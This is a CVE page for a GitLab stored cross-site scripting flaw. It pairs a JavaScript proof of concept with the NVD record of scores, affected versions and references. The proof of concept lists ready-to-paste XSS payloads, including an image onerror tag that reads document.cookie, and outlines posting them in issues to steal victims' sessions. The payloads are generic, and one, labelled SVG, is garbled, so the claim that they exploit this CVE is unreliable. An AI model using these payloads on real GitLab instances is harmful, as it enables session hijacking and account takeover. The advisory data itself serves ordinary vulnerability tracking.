CVE-2025-9222

// CVE-2025-9222 PoC - GitLab Stored XSS via GFM // This PoC demonstrates how to inject malicious JavaScript through GitLab Flavored Markdown // Method 1: Using JavaScript protocol in link const maliciousLink = '[Click me](javascript:alert(document.domain))'; // Method 2: Using event handlers in HTML within Markdown const maliciousHTML = '<img src=x onerror=alert(document.cookie)>'; // Method 3: Using SVG element with event handler const maliciousSVG = '[)](javascript:prompt(1))'; // Method 4: Using data URI with script const maliciousDataURI = '[link](data:text/html,<script>alert(origin)</script>)'; // Exploitation scenario: // 1. Attacker creates a new issue/comment/MR description // 2. Inserts one of the above payloads in the Markdown content // 3. When any user views the content, the XSS payload executes // 4. Attacker can steal session cookies, perform actions as victim // Recommended test payload (safe version for testing): const testPayload = '[Test XSS](javascript:alert("XSS Vulnerability Confirmed"))'; // Note: This PoC is for educational and security testing purposes only. // Always obtain proper authorization before testing security vulnerabilities.

{"cve": {"id": "CVE-2025-9222", "sourceIdentifier": "[email protected]", "published": "2026-01-09T10:15:47.037", "lastModified": "2026-01-22T17:20:15.873", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.2.2 before 18.5.5, 18.6 before 18.6.3, and 18.7 before 18.7.1 that could have allowed an authenticated user to achieve stored cross-site scripting by exploiting GitLab Flavored Markdown."}, {"lang": "es", "value": "GitLab ha remediado un problema en GitLab CE/EE que afectaba a todas las versiones desde la 18.2.2 antes de la 18.5.5, la 18.6 antes de la 18.6.3 y la 18.7 antes de la 18.7.1 que podría haber permitido a un usuario autenticado lograr cross-site scripting almacenado explotando GitLab Flavored Markdown."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.2.2", "versionEndExcluding": "18.5.5", "matchCriteriaId": "B56DB4CC-3DB3-42BB-B205-1DF5A9A6F9B6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.2.2", "versionEndExcluding": "18.5.5", "matchCriteriaId": "7683DD33-0FA1-46A0-ACB7-4F2309FCB2E7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.6.0", "versionEndExcluding": "18.6.3", "matchCriteriaId": "2B9B2E1D-016E-45CF-80CD-7CC77A5B5576"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.6.0", "versionEndExcluding": "18.6.3", "matchCriteriaId": "75013646-70F2-467E-B79E-9301338AB853"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.7.0:*:*:*:community:*:*:*", "matchCriteriaId": "D5EB2CAA-6B1C-4780-B872-82947A098FED"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.7.0:*:*:*:enterprise:*:*:*", "matchCriteriaId": "9B955F55-086B-4EDF-A9E6-5B9E68600494"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/01/07/patch-release-gitlab-18-7-1-released/", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/562561", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://hackerone.com/reports/3297483", "source": "[email protected]", "tags": ["Permissions Required"]}]}}